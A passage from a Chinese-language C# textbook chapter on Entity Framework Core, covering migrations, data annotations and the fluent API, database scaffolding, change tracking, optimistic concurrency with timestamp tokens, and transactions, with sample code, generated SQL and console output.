MenusContextModelSnapshot: ModelSnapshot { protected override void BuildModel(ModelBuilder modelBuilder) { modelBuilder .HasAnnotation("ProductVersion", "7.0.0-rc1-16348") .HasAnnotation("SqlServer:ValueGenerationStrategy", SqlServerValueGenerationStrategy.IdentityColumn); modelBuilder.Entity("MenusSample.Menu", b => { b.Property<int>("MenuId") .ValueGeneratedOnAdd(); b.Property<int>("MenuCardId"); b.Property<decimal>("Price"); b.Property<string>("Text"); b.HasKey("MenuId"); }); modelBuilder.Entity("MenusSample.MenuCard", b => { b.Property<int>("MenuCardId") .ValueGeneratedOnAdd(); b.Property<string>("Title"); b.HasKey("MenuCardId"); }); modelBuilder.Entity("MenusSample.Menu", b => { b.HasOne("MenusSample.MenuCard") .WithMany() .HasForeignKey("MenuCardId"); }); } } InitMenuCards类定义了Up和Down方法。Up方法列出了创建MenuCard和Menu表所需 的所有操作,包括主键、列和关系。Down方法删除两个表: public partial class InitMenuCards: Migration { protected override void Up(MigrationBuilder migrationBuilder) { migrationBuilder.CreateTable( name: "MenuCard", columns: table => new { MenuCardId = table.Column<int>(nullable: false) .Annotation("SqlServer:ValueGenerationStrategy", SqlServerValueGenerationStrategy.IdentityColumn), Title = table.Column<string>(nullable: true) }, constraints: table => { table.PrimaryKey("PK_MenuCard", x => x.MenuCardId); }); migrationBuilder.CreateTable( name: "Menu", columns: table => new { MenuId = table.Column<int>(nullable: false) .Annotation("SqlServer:ValueGenerationStrategy", SqlServerValueGenerationStrategy.IdentityColumn), MenuCardId = table.Column<int>(nullable: false), Price = table.Column<decimal>(nullable: false), Text = table.Column<string>(nullable: true) }, constraints: table => { table.PrimaryKey("PK_Menu", x => x.MenuId); table.ForeignKey( name: "FK_Menu_MenuCard_MenuCardId", column: x => x.MenuCardId, principalTable: "MenuCard", principalColumn: "MenuCardId", onDelete: ReferentialAction.Cascade); }); } protected override void Down(MigrationBuilder migrationBuilder) { migrationBuilder.DropTable("Menu"); migrationBuilder.DropTable("MenuCard"); } }  注意: 在每一次改变中,都可以创建另一个迁移。新的迁移只定义从前一个 版本到新版本所需的变化。如果客户的数据库需要从任何早期版本中更新,就在迁移 数据库时调用必要的迁移。 在开发过程中,不需要给项目创建的所有迁移,因为不可能存在具有这种临时状 态的数据库。此时,可以删除一个迁移,创建一个新的、更大的迁移。 38.4.3 用MSBuild迁移 如果使用Entity Framework迁移和基于MSBuild的项目,而不是DNX,则迁移的命令 就是不同的。在控制台应用程序、WPF应用程序或ASP.NET 4.6项目类型的完整框架中, 需要在NuGet Package Manager Console中(而不是Developer Command Prompt中)指定迁 移命令。在Visual Studio中通过Tools | Library Package Manager | Package Manager Console 启动Package Manager Console。 在Package Manager Console中,可以使用PowerShell脚本添加和删除迁移。命令> Add-Migration InitMenuCards创建Migrations文件夹,其中包括如前所述的迁移类。 38.4.4 创建数据库 现在,有了迁移类型,就可以创建数据库。DbContext派生类MenusContext包含 Database属性,它返回一个DatabaseFacade对象。使用DatabaseFacade,可以创建和删除数 据库。如果数据库不存在,使用方法EnsureCreated创建一个。如果数据库已经存在,就什 么也不做。EnsureDeletedAsync方法删除数据库。在下面的代码片段中,如果数据库不存 在,就创建它(代码文件MenusSample/Program.cs): private static async Task CreateDatabaseAsync() { using (var context = new MenusContext()) { bool created = await context.Database.EnsureCreatedAsync(); string createdText = created ? "created": "already exists"; WriteLine($"database {createdText}"); } }  注意: 如果数据库存在,但有一个旧模式版本,EnsureCreatedAsync方法就 不适用模式的变化。调用Migrate方法,可以使模式升级。Migrate是 Microsoft.Data.Entity名称空间中定义的DatabaseFacade类的一个扩展方法。 运行该程序时,创建表MenuCard和Menu。基于默认约定,表与实体类型同名。创建 主键时使用另一个约定:列MenuCardId定义为主键,因为属性名以Id结尾。 CREATE TABLE [dbo].[MenuCard] ( [MenuCardId] INT IDENTITY (1, 1) NOT NULL, [Title] NVARCHAR (MAX) NULL, CONSTRAINT [PK_MenuCard] PRIMARY KEY CLUSTERED ([MenuCardId] ASC) ); Menu表定义的MenuCardId是MenuCard表的外键。删除MenuCard,也会因为DELETE CASCADE,删除所有相关的Menu行: CREATE TABLE [dbo].[Menu] ( [MenuId] INT IDENTITY (1, 1) NOT NULL, [MenuCardId] INT NOT NULL, [Price] DECIMAL (18, 2) NOT NULL, [Text] NVARCHAR (MAX) NULL, CONSTRAINT [PK_Menu] PRIMARY KEY CLUSTERED ([MenuId] ASC), CONSTRAINT [FK_Menu_MenuCard_MenuCardId] FOREIGN KEY ([MenuCardId]) REFERENCES [dbo].[MenuCard] ([MenuCardId]) ON DELETE CASCADE ); 创建代码中的一些部分可用于变更。例如,在NVARCHAR(MAX)中,Text和Title 列的大小可以减少,SQL Server定义了一个Money类型,可用于Price列,在dbo中可以更 改模式名称。Entity Framework提供了两个选项,可以在代码中完成这些变更:数据注释 和流利的API,参见下面的内容。 38.4.5 数据注释 要影响生成的数据库,一个方法是给实体类型添加数据注释。表的名称可以使用 Table特性来改变。要改变模式名称,Table特性定义Schema特性。为了给字符串类型指定 另一个长度,可以应用MaxLength特性(代码文件MenusWithDataAnnotations / MenuCard.cs): [Table("MenuCards", Schema = "mc")] public class MenuCard { public int MenuCardId { get; set; } [MaxLength(120)] public string Title { get; set; } public List<Menu> Menus { get; } } 在Menu类中,还应用了Table和MaxLength特性。为了更改SQL类型,可以使用 Column特性(代码文件MenusWithDataAnnotations / Menu.cs): [Table("Menus", Schema = "mc")] public class Menu { public int MenuId { get; set; } [MaxLength(50)] public string Text { get; set; } [Column(TypeName ="Money")] public decimal Price { get; set; } public int MenuCardId { get; set; } public MenuCard MenuCard { get; set; } } 应用迁移,创建数据库后,可以在Title、Text和Price列上看到表的新名称和模式名 称,以及改变了的数据类型: CREATE TABLE [mc].[MenuCards] ( [MenuCardId] INT IDENTITY (1, 1) NOT NULL, [Title] NVARCHAR (120) NULL, CONSTRAINT [PK_MenuCard] PRIMARY KEY CLUSTERED ([MenuCardId] ASC) ); CREATE TABLE [mc].[Menus] ( [MenuId] INT IDENTITY (1, 1) NOT NULL, [MenuCardId] INT NOT NULL, [Price] MONEY NOT NULL, [Text] NVARCHAR (50) NULL, CONSTRAINT [PK_Menu] PRIMARY KEY CLUSTERED ([MenuId] ASC), CONSTRAINT [FK_Menu_MenuCard_MenuCardId] FOREIGN KEY ([MenuCardId]) REFERENCES [mc].[MenuCards] ([MenuCardId]) ON DELETE CASCADE ); 38.4.6 流利API 影响所创建表的另一种方法是通过DbContext派生类的OnModelCreating方法使用流利 的API。使用它的优点是,实体类型可以很简单,不需要添加任何特性,流利的API也提 供了比应用特性更多的选择。 下面的代码片段显示了BooksContext类的OnModelCreating方法的重写版本。接收为参 数的ModelBuilder类提供了一些方法,定义了一些扩展方法。HasDefaultSchema是一个扩 展方法,把默认模式应用于模型,现在用于所有类型。Entity方法返回一个 EntityTypeBuilder,允许自定义实体,如把它映射到特定的表名,定义键和索引(代码文 件MenusSample / MenusContext.cs): protected override void OnModelCreating(ModelBuilder modelBuilder) { base.OnModelCreating(modelBuilder); modelBuilder.HasDefaultSchema("mc"); modelBuilder.Entity<MenuCard>() .ToTable("MenuCards") .HasKey(c => c.MenuCardId); // etc. modelBuilder.Entity<Menu>() .ToTable("Menus") .HasKey(m => m.MenuId); // etc. } EntityTypeBuilder定义了一个Property方法来配置属性。Property方法返回一个 PropertyBuilder,它允许用最大长度值、需要的设置和SQL类型配置属性,指定是否应该 自动生成值(例如标识列): protected override void OnModelCreating(ModelBuilder modelBuilder) { // etc. modelBuilder.Entity<MenuCard>() .Property<int>(c => c.MenuCardId) .ValueGeneratedOnAdd(); modelBuilder.Entity<MenuCard>() .Property<string>(c => c.Title) .HasMaxLength(50); modelBuilder.Entity<Menu>() .Property<int>(m => m.MenuId) .ValueGeneratedOnAdd(); modelBuilder.Entity<Menu>() .Property<string>(m => m.Text) .HasMaxLength(120); modelBuilder.Entity<Menu>() .Property<decimal>(m => m.Price) .HasColumnType("Money"); // etc. } 要定义一对多映射,EntityTypeBuilder定义了映射方法。方法HasMany与WithOne结 合,用一个菜单卡定义了到很多菜单的映射。HasMany需要与WithOne链接起来。方法 HasOne需要和WithMany或WithOne链接起来。链接HasOne与WithMany,会定义一对多关 系,链接HasOne与WithOne,会定义一对一关系: protected override void OnModelCreating(ModelBuilder modelBuilder) { // etc. modelBuilder.Entity<MenuCard>() .HasMany(c => c.Menus) .WithOne(m => m.MenuCard); modelBuilder.Entity<Menu>() .HasOne(m => m.MenuCard) .WithMany(c => c.Menus) .HasForeignKey(m => m.MenuCardId); } 在OnModelCreating方法中创建映射之后,可以创建如前所述的迁移。 38.4.7 在数据库中搭建模型 除了从模型中创建数据库之外,也可以从数据库中创建模型。 为此,必须在SQL Server数据库中给DNX项目添加NuGet包 EntityFramework.MicrosoftSqlServer. Design和其他包。然后可以在Developer Command Prompt下使用以下命令: > dnx ef dbcontext scaffold "server=(localdb)\MSSQLLocalDb; database=SampleDatabase; trusted_connection=true" "EntityFramework.MicrosoftSqlServer" dbcontext命令允许列出项目中的DbContext对象,创建DBContext对象。scaffold命令 创建DbContext派生类以及模型类。dnx ef dbcontext命令需要两个参数:数据库的连接字 符串和应该使用的提供程序。前面的语句显示,在SQL Server(localdb)\ MSSQLLocalDb上访问数据库SampleDatabase。使用的提供程序是 EntityFramework.MicrosoftSqlServer。这个NuGet包以及带有Design后缀的同名NuGet包需 要添加到项目中。 在运行了这个命令之后,可以看到生成的DbContext派生类以及模型类型。模型的配 置默认使用流利的API来完成。然而,可以改为使用数据注释,提供- a选项。也可以影响 生成的上下文类名以及输出目录。使用选项- h可以查看不同的可用选项。 38.5 使用对象状态 在创建数据库之后,就可以写入数据。在第一个示例中写入一个表。如何写入关系? 38.5.1 用关系添加对象 下面的代码片段写入一个关系:MenuCard包含Menu对象。其中,实例化MenuCard和 Menu对象,再指定双向关联。对于Menu, MenuCard属性分配给MenuCard,对于 MenuCard,用Menu对象填充Menus属性。调用MenuCards属性的方法Add,把MenuCard实 例添加到上下文中。将对象添加到上下文时,默认情况下所有对象都添加到树中,并添加 状态。不仅保存MenuCard,还保存Menu对象。设置IncludeDependents。使用这个选项, 所有相关的Menu对象也都添加到上下文中。在上下文中调用SaveChanged,会创建4个记 录(代码文件MenusSample / Program.cs): private static async Task AddRecordsAsync() { // etc. using (var context = new MenusContext()) { var soupCard = new MenuCard(); Menu[] soups = { new Menu { Text = "Consommé Célestine (with shredded pancake)", Price = 4.8m, MenuCard = soupCard }, new Menu { Text = "Baked Potato Soup", Price = 4.8m, MenuCard = soupCard }, new Menu { Text = "Cheddar Broccoli Soup", Price = 4.8m, MenuCard = soupCard }, }; soupCard.Title = "Soups"; soupCard.Menus.AddRange(soups); context.MenuCards.Add(soupCard); ShowState(context); int records = await context.SaveChangesAsync(); WriteLine($"{records} added"); // etc. } 给上下文添加4个对象后调用的方法ShowState,显示了所有与上下文相关的对象的状 态。DbContext类有一个相关的ChangeTracker,使用ChangeTracker属性可以访问它。 ChangeTracker的Entries方法返回变更跟踪器了解的所有对象。在foreach循环中,每个对象 包括其状态都写入控制台(代码文件MenusSample / Program. cs): public static void ShowState(MenusContext context) { foreach (EntityEntry entry in context.ChangeTracker.Entries()) { WriteLine($"type: {entry.Entity.GetType().Name}, state: {entry.State}, " + $" {entry.Entity}"); } WriteLine(); } 运行应用程序,查看4个对象的Added状态: type: MenuCard, state: Added, Soups type: Menu, state: Added, Consommé Célestine (with shredded pancake) type: Menu, state: Added, Baked Potato Soup type: Menu, state: Added, Cheddar Broccoli Soup 因为这个状态,SaveChangesAsync方法创建SQL Insert语句,把每个对象写到数据 库。 38.5.2 对象的跟踪 如前所述,上下文知道添加的对象。然而,上下文也需要了解变更。要了解变更,每 个检索的对象就需要它在上下文中的状态。为了查看这个操作,下面创建两个不同的查 询,但返回相同的对象。下面的代码片段定义了两个不同的查询,每个查询都用菜单返回 相同的对象,因为它们都存储在数据库中。事实上,只有一个对象会物化,因为在第二个 查询的结果中,返回的记录具有的主键值与从上下文中引用的对象相同。验证在返回相同 的对象时,变量m1和m2的引用是否具有相同的结果(代码文件MenusSample / Program.cs): private static void ObjectTracking() { using (var context = new MenusContext()) { var m1 = (from m in context.Menus where m.Text.StartsWith("Con") select m).FirstOrDefault(); var m2 = (from m in context.Menus where m.Text.Contains("(") select m).FirstOrDefault(); if (object.ReferenceEquals(m1, m2)) { WriteLine("the same object"); } else { WriteLine("not the same"); } ShowState(context); } } 第一个LINQ查询得到一个带LIKE比较的SQL SELECT语句,来比较以Con开头的字 符串: SELECT TOP(1) [m].[MenuId], [m].[MenuCardId], [m].[Price], [m].[Text] FROM [mc].[Menus] AS [m] WHERE [m].[Text] LIKE 'Con' + '%' 在第二个LINQ查询中,也需要咨询数据库。其中LIKE用于比较文字中间的“(”: SELECT TOP(1) [m].[MenuId], [m].[MenuCardId], [m].[Price], [m].[Text] FROM [mc].[Menus] AS [m] WHERE [m].[Text] LIKE ('%' + '(') + '%' 运行应用程序时,同一对象写入控制台,只有一个对象用ChangeTracker保存。状态 是Unchanged: the same object type: Menu, state: Unchanged, Consommé Célestine (with shredded pancake) 为了不跟踪在数据库中运行查询的对象,可以通过DbSet调用AsNoTracking方法: var m1 = (from m in context.Menus.AsNoTracking() where m.Text.StartsWith("Con") select m).FirstOrDefault(); 可以把ChangeTracker的默认跟踪行为配置为QueryTrackingBehavior.NoTracking: using (var context = new MenusContext()) { context.ChangeTracker.QueryTrackingBehavior = QueryTrackingBehavior.NoTracking; 有了这样的配置,给数据库建立两个查询,物化两个对象,状态信息是空的。  注意: 当上下文只用于读取记录时,可以使用NoTracking配置,但无法修 改。这减少了上下文的开销,因为不保存状态信息。 38.5.3 更新对象 跟踪对象时,对象可以轻松地更新,如下面的代码片段所示。首先,检索Menu对 象。使用这个被跟踪的对象,修改价格,再把变更写入数据库。在所有的变更之间,将状 态信息写入控制台(代码文件MenusSample / Program. cs): private static async Task UpdateRecordsAsync() { using (var context = new MenusContext()) { Menu menu = await context.Menus .Skip(1) .FirstOrDefaultAsync(); ShowState(context); menu.Price += 0.2m; ShowState(context); int records = await context.SaveChangesAsync(); WriteLine($"{records} updated"); ShowState(context); } } 运行应用程序时,可以看到,加载记录后,对象的状态是Unchanged,修改属性值 后,对象的状态是Modified,保存完成后,对象的状态是Unchanged: type: Menu, state: Unchanged, Baked Potato Soup type: Menu, state: Modified, Baked Potato Soup 1 updated type: Menu, state: Unchanged, Baked Potato Soup 访问更改跟踪器中的条目时,默认情况下会自动检测到变更。要配置这个,应设置 ChangeTracker的AutoDetectChangesEnabled属性。为了手动检查更改是否已经完成,调用 DetectChanges方法。调用SaveChangesAsync后,状态改回Unchanged。调用 AcceptAllChanges方法可以手动完成这个操作。 38.5.4 更新未跟踪的对象 对象上下文通常非常短寿。使用Entity Framework与ASP.NET MVC,通过一个HTTP 请求创建一个对象上下文,来检索对象。从客户端接收一个更新时,对象必须再在服务器 上创建。这个对象与对象的上下文相关联。为了在数据库中更新它,对象需要与数据上下 文相关联,修改状态,创建INSERT、UPDATE或DELETE语句。 这样的情景用下一个代码片段模拟。GetMenuAsync方法返回一个脱离上下文的Menu 对象;上下文在方法的最后销毁(代码文件MenusSample / Program.cs): private static async Task<Menu> GetMenuAsync() { using (var context = new MenusContext()) { Menu menu = await context.Menus .Skip(2) .FirstOrDefaultAsync(); return menu; } } GetMenuAsync方法由ChangeUntrackedAsync方法调用。这个方法修改不与任何上下 文相关的Menu对象。改变后,Menu对象传递到方法UpdateUntrackedAsync,保存到数据 库中(代码文件MenusSample / Program.cs): private static async Task ChangeUntrackedAsync() { Menu m = await GetMenuAsync(); m.Price += 0.7m; await UpdateUntrackedAsync(m); } UpdateUntrackedAsync方法接收已更新的对象,需要把它与上下文关联起来。对象与 上下文关联起来的一个方法是调用DbSet的Attach方法,并根据需要设置状态。Update方 法用一个调用完成这两个操作:关联对象,把状态设置为Modified (代码文件 MenusSample / Program. cs): private static async Task UpdateUntrackedAsync(Menu m) { using (var context = new MenusContext()) { ShowState(context); // EntityEntry<Menu> entry = context.Menus.Attach(m); // entry.State = EntityState.Modified; context.Menus.Update(m); ShowState(context); await context.SaveChangesAsync(); } } 通过ChangeUntrackedAsync方法运行应用程序时,可以看到状态的修改。对象起初没 有被跟踪,但是,因为显式地更新了状态,所以可以看到Modified状态: type: Menu, state: Modified, Cheddar Broccoli Soup 38.6 冲突的处理 如果多个用户修改同一个记录,然后保存状态,会发生什么?最后谁的变更会保存下 来? 如果访问同一个数据库的多个用户处理不同的记录,就没有冲突。所有用户都可以保 存他们的数据,而不干扰其他用户编辑的数据。但是,如果多个用户处理同一记录,就需 要考虑如何解决冲突。有不同的方法来处理冲突。最简单的一个方法是最后一个用户获 胜。最后保存数据的用户覆盖以前用户执行的变更。 Entity Framework还提供了一种方式,让第一个保存数据的用户获胜。采用这一选 项,保存记录时,需要验证最初读取的数据是否仍在数据库中。如果是,就继续保存数 据,因为读写操作之间没有发生变化。然而,如果数据发生了变化,就需要解决冲突。 下面看看这些不同的选项。 38.6.1 最后一个更改获胜 默认情况是,最后一个保存的更改获胜。为了查看对数据库的多个访问,扩展 BooksSample应用程序。 为了简单地模拟两个用户,方法ConflictHandlingAsync调用两次方法 PrepareUpdateAsync,对两个引用相同记录的Book对象进行不同的改变,并调用 UpdateAsync方法两次。最后,把书的ID传递给CheckUpdateAsync方法,它显示了数据库 中书的实际状态(代码文件BooksSample/Program.cs): public static async Task ConflictHandlingAsync() { // user 1 Tuple<BooksContext, Book> tuple1 = await PrepareUpdateAsync(); tuple1.Item2.Title = "updated from user 1"; // user 2 Tuple<BooksContext, Book> tuple2 = await PrepareUpdateAsync(); tuple2.Item2.Title = "updated from user 2"; // user 1 await UpdateAsync(tuple1.Item1, tuple1.Item2); // user 2 await UpdateAsync(tuple2.Item1, tuple2.Item2); context1.Item1.Dispose(); context2.Item1.Dispose(); await CheckUpdateAsync(tuple1.Item2.BookId); } PrepareUpdateAsync方法打开一个BookContext,并在Tuple对象中返回上下文和图 书。记住,该方法调用两次,返回与不同context对象相关的不同Book对象(代码文件 BooksSample/Program.cs): private static async Task<Tuple<BooksContext, Book>> PrepareUpdateAsync() { var context = new BooksContext(); Book book = await context.Books .Where(b => b.Title == "Conflict Handling") .FirstOrDefaultAsync(); return Tuple.Create(context, book); }  注意: 元组在第7章解释。 UpdateAsync方法接收打开的BooksContext与更新的Book对象,把这本书保存到数据 库中。记住,该方法调用两次(代码文件BooksSample / Program. cs): private static async Task UpdateAsync(BooksContext context, Book book) { await context.SaveChangesAsync(); WriteLine($"successfully written to the database: id {book.BookId} " + $"with title {book.Title}"); } CheckUpdateAsync方法把指定id的图书写到控制台(代码文件BooksSample / Program.cs): private static async Task CheckUpdateAsync(int id) { using (var context = new BooksContext()) { Book book = await context.Books .Where(b => b.BookId == id) .FirstOrDefaultAsync(); WriteLine($"updated: {book.Title}"); } } 运行应用程序时,会发生什么?第一个更新会成功,第二个更新也会成功。更新一条 记录时,不验证读取记录后是否发生变化,这个示例应用程序就是这样。第二个更新会覆 盖第一个更新的数据,如应用程序的输出所示: successfully written to the database: id 7038 with title updated from user 1 successfully written to the database: id 7038 with title updated from user 2 updated: updated from user 2 38.6.2 第一个更改获胜 如果需要不同的行为,如第一个用户的更改保存到记录中,就需要做一些改变。示例 项目ConflictHandlingSample像以前一样使用Book和BookContext对象,但它处理第一个更 改获胜的场景。 这个示例应用程序使用了以下依赖项和名称空间: 依赖项 NETStandard.Library Microsoft.EntityFrameworkCore Microsoft.EntityFrameworkCore.SqlServer 名称空间 Microsoft.EntityFrameworkCore Microsoft.EntityFrameworkCore.ChangeTracking System System.Linq System.Text System.Threading.Tasks static System.Console 对于解决冲突,需要指定属性,如果在读取和更新之间发生了变化,就应使用并发性 令牌验证该属性。基于指定的属性,修改SQL UPDATE语句,不仅验证主键,还验证使 用并发性令牌标记的所有属性。给实体类型添加许多并发性令牌,会在UPDATE语句中创 建一个巨大的WHERE子句,这不是非常有效。相反,可以添加一个属性,在SQL Server 中用每个UPDATE语句更新——这就是Book类完成的工作。属性TimeStamp在SQL Server 中定义为timeStamp(代码文件ConflictHandlingSample / Book.cs): public class Book { public int BookId { get; set; } public string Title { get; set; } public string Publisher { get; set; } public byte[] TimeStamp { get; set; } } 在SQL Server中将TimeStamp属性定义为timestamp类型,要使用Fluent API。SQL数据 类型使用HasColumnType方法定义。方法ValueGeneratedOnAddOrUpdate通知上下文,在 每一个SQLINSERT或UPDATE语句中,可以改变TimeStamp属性,这些操作后,它需要用 上下文设置。IsConcurrencyToken方法将这个属性标记为必要,检查它在读取操作完成后 是否没有改变(代码文件ConflictHandlingSample / BooksContext.cs): protected override void OnModelCreating(ModelBuilder modelBuilder) { base.OnModelCreating(modelBuilder); var book = modelBuilder.Entity<Book>(); book.HasKey(p => p.BookId); book.Property(p => p.Title).HasMaxLength(120).IsRequired(); book.Property(p => p.Publisher).HasMaxLength(50); book.Property(p => p.TimeStamp) .HasColumnType("timestamp") .ValueGeneratedOnAddOrUpdate() .IsConcurrencyToken(); }  注意: 不使用IsConcurrencyToken方法与Fluent API,也可以给应检查并发性 的属性应用ConcurrencyCheck特性。 检查冲突处理的过程类似于之前的操作。用户1和用户2都调用PrepareUpdateAsync方 法,改变了书名,并调用UpdateAsync方法修改数据库(代码文件ConflictHandlingSample / Program. cs): public static async Task ConflictHandlingAsync() { // user 1 Tuple<BooksContext, Book> tuple1 = await PrepareUpdateAsync(); tuple1.Item2.Title = "user 1 wins"; // user 2 Tuple<BooksContext, Book> tuple2 = await PrepareUpdateAsync(); tuple2.Item2.Title = "user 2 wins"; // user 1 await UpdateAsync(tuple1.Item1, tuple1.Item2); // user 2 await UpdateAsync(tuple2.Item1, tuple2.Item2); context1.Item1.Dispose(); context2.Item1.Dispose(); await CheckUpdateAsync(context1.Item2.BookId); } 这里不重复PrepareUpdateAsync方法,因为该方法的实现方式与前面的示例相同。 UpdateAsync方法则截然不同。为了查看更新前和更新后不同的时间戳,实现字节数组的 自定义扩展方法StringOutput,将字节数组以可读的形式写到控制台。接着,调用 ShowChanges辅助方法,显示对Book对象的更改。调用SaveChangesAsync方法,把所有更 新写到数据库中。如果更新失败,并抛出DbUpdateConcurrencyException异常,就把失败 信息写入控制台(代码文件ConflictHandlingSample/Program. cs): private static async Task UpdateAsync(BooksContext context, Book book, string user) { try { WriteLine($"{user}: updating id {book.BookId}, " + $"timestamp: {book.TimeStamp.StringOutput()}"); ShowChanges(book.BookId, context.Entry(book)); int records = await context.SaveChangesAsync(); WriteLine($"{user}: updated {book.TimeStamp.StringOutput()}"); WriteLine($"{user}: {records} record(s) updated while updating " + $"{book.Title}"); } catch (DbUpdateConcurrencyException ex) { WriteLine($"{user}: update failed with {book.Title}"); WriteLine($"error: {ex.Message}"); foreach (var entry in ex.Entries) { Book b = entry.Entity as Book; WriteLine($"{b.Title} {b.TimeStamp.StringOutput()}"); ShowChanges(book.BookId, context.Entry(book)); } } } 对于与上下文相关的对象,使用PropertyEntry对象可以访问原始值和当前值。从数据 库中读取对象时获取的原始值,可以用OriginalValue属性访问,其当前值可以用 CurrentValue属性访问。在ShowChanges和ShowChange方法中,PropertyEntry对象可以用 EntityEntry的属性方法访问,如下所示(代码文件ConflictHandlingSample / Program. cs): private static void ShowChanges(int id, EntityEntry entity) { ShowChange(id, entity.Property("Title")); ShowChange(id, entity.Property("Publisher")); } private static void ShowChange(int id, PropertyEntry propertyEntry) { WriteLine($"id: {id}, current: {propertyEntry.CurrentValue}, " + $"original: {propertyEntry.OriginalValue}, " + $"modified: {propertyEntry.IsModified}"); } 为了转换SQL Server中更新的TimeStamp属性的字节数组,以可视化输出,定义了扩 展方法StringOutput(代码文件ConflictHandlingSample / Program.cs): static class ByteArrayExtension { public static string StringOutput(this byte[] data) { var sb = new StringBuilder(); foreach (byte b in data) { sb.Append($"{b}."); } return sb.ToString(); } } 当运行应用程序时,可以看到如下输出。时间戳值和图书ID在每次运行时都不同。 第一个用户把书的原标题sample book更新为新标题user 1 wins。IsModified属性给Title属性 返回true,但给Publisher属性返回false。因为只有标题改变了。原来的时间戳以1.1.209结 尾;更新到数据库中后,时间戳改为1.17.114。与此同时,用户2打开相同的记录;该书的 时间戳仍然是1.1.209。用户2更新该书,但这里更新失败了,因为该书的时间戳不匹配数 据库中的时间戳。这里会抛出一个DbUpdateConcurrencyException异常。在异常处理程序 中,异常的原因写入控制台,如程序的输出所示: user 1: updating id 17, timestamp 0.0.0.0.0.1.1.209. id: 17, current: user 1 wins, original: sample book, modified: True id: 17, current: Sample, original: Sample, modified: False user 1: updated 0.0.0.0.0.1.17.114. user 1: 1 record(s) updated while updating user 1 wins user 2: updating id 17, timestamp 0.0.0.0.0.1.1.209. id: 17, current: user 2 wins, original: sample book, modified: True id: 17, current: Sample, original: Sample, modified: False user 2 update failed with user 2 wins user 2 error: Database operation expected to affect 1 row(s) but actually aff ected 0 row(s). Data may have been modified or deleted since entities were loaded. See http://go.microsoft.com/fwlink/? LinkId=527962 for information on understanding and handling optimistic concurrency exceptions. user 2 wins 0.0.0.0.0.1.1.209. id: 17, current: user 2 wins, original: sample book, modified: True id: 17, current: Sample, original: Sample, modified: False updated: user 1 wins 当使用并发性令牌和处理DbConcurrencyException时,根据需要可以处理并发冲突。 例如,可以自动解决并发问题。如果改变了不同的属性,可以检索更改的记录并合并更 改。如果改变的属性是一个数字,要执行一些计算,例如点系统,就可以在两个更新中递 增或递减值,如果达到极限,就抛出一个异常。也可以给用户提供数据库中目前的信息, 询问他要进行什么修改,要求用户解决并发性问题。不要要求用户提供太多的信息。用户 可能只是想摆脱这个很少显示的对话框,这意味着他可能会单击OK或Cancel,而不阅读 其内容。对于罕见的冲突,也可以编写日志,通知系统管理员,需要解决一个问题。 38.7 使用事务 第37章介绍了使用事务编程的内容。每次使用Entity Framework访问数据库时,都涉 及事务。可以隐式地使用事务或根据需要,使用配置显式地创建它们。此节使用的示例项 目以两种方式展示事务。这里,Menu、MenuCard和MenuContext类的用法与前面的 MenusSample项目相同。这个示例应用程序使用了以下依赖项和名称空间: 依赖项 NETStandard.Library Microsoft.EntityFrameworkCore Microsoft.EntityFrameworkCore.SqlServer 名称空间 Microsoft.EntityFrameworkCore Microsoft.EntityFrameworkCore.Storage System.Linq System.Threading System.Threading.Tasks static System.Console 38.7.1 使用隐式的事务 SaveChangesAsync方法的调用会自动解析为一个事务。如果需要进行的一部分变更失 败,例如,因为数据库约束,就回滚所有已经完成的更改。下面的代码片段演示了这一 点。其中,第一个Menu (m1)用有效的数据创建。对现有MenuCard的引用是通过提供 MenuCardId完成的。更新成功后,Menu m1的MenuCard属性自动填充。然而,所创建的 第二个菜单mInvalid,因为提供的MenuCardId高于数据库中可用的最高ID,所以引用了无 效的菜单卡。因为MenuCard和Menu之间定义了外键关系,所以添加这个对象会失败(代 码文件TransactionsSample / Program. cs): private static async Task AddTwoRecordsWithOneTxAsync() { WriteLine(nameof(AddTwoRecordsWithOneTxAsync)); try { using (var context = new MenusContext()) { var card = context.MenuCards.First(); var m1 = new Menu { MenuCardId = card.MenuCardId, Text = "added", Price = 99.99m }; int hightestCardId = await context.MenuCards.MaxAsync(c => c.MenuCardId); var mInvalid = new Menu { MenuCardId = ++hightestCardId, Text = "invalid", Price = 999.99m }; context.Menus.AddRange(m1, mInvalid); int records = await context.SaveChangesAsync(); WriteLine($"{records} records added"); } } catch (DbUpdateException ex) { WriteLine($"{ex.Message}"); WriteLine($"{ex? .InnerException.Message}"); } WriteLine(); } 在调用AddTwoRecordsWithOneTxAsync方法,运行应用程序之后,可以验证数据库 的内容,确定没有添加一个记录。异常消息以及内部异常的消息给出了细节: AddTwoRecordsWithOneTxAsync An error occurred while updating the entries. See the inner exception for det ails. The INSERT statement conflicted with the FOREIGN KEY constraint "FK_Menu_MenuCard_MenuCardId". The conflict occurred in database "MenuCards", table "mc.MenuCards", column ' MenuCardId'. 如果第一条记录写入数据库应该是成功的,即使第二条记录写入失败,也需要多次调 用SaveChangesAsync方法,如下面的代码片段所示。在AddTwoRecordsWithTwoTxAsync 方法中,第一次调用SaveChangesAsync插入了m1菜单对象,而第二次调用试图插入 mInvalid菜单对象(代码文件TransactionsSample / Program. cs): private static async Task AddTwoRecordsWithTwoTxAsync() { WriteLine(nameof(AddTwoRecordsWithTwoTxAsync)); try { using (var context = new MenusContext()) { var card = context.MenuCards.First(); var m1 = new Menu { MenuCardId = card.MenuCardId, Text = "added", Price = 99.99m }; context.Menus.Add(m1); int records = await context.SaveChangesAsync(); WriteLine($"{records} records added"); int hightestCardId = await context.MenuCards.MaxAsync(c => c.MenuCardId); var mInvalid = new Menu { MenuCardId = ++hightestCardId, Text = "invalid", Price = 999.99m }; context.Menus.Add(mInvalid); records = await context.SaveChangesAsync(); WriteLine($"{records} records added"); } } catch (DbUpdateException ex) { WriteLine($"{ex.Message}"); WriteLine($"{ex? .InnerException.Message}"); } WriteLine(); } 运行应用程序,添加第一个INSERT语句成功,当然第二个语句的结果是 DbUpdateException。可以验证数据库,这次添加一个记录: AddTwoRecordsWithTwoTxAsync 1 records added An error occurred while updating the entries. See the inner exception for det ails. The INSERT statement conflicted with the FOREIGN KEY constraint "FK_Menu_MenuCard_MenuCardId". The conflict occurred in database "MenuCards", table "mc.MenuCards", column ' MenuCardId'. 38.7.2 创建显式的事务 除了使用隐式创建的事务,也可以显式地创建它们。其优势是如果一些业务逻辑失 败,也可以选择回滚,还可以在一个事务中结合多个SaveChangesAsync调用。为了开始一 个与DbContext派生类相关的事务,需要调用DatabaseFacade类中从Database属性返回的 BeginTransactionAsync方法。返回的事务实现了IDbContextTransaction接口。与DbContext 相关的SQL语句通过事务建立起来。为了提交或回滚,必须显式地调用Commit或Rollback 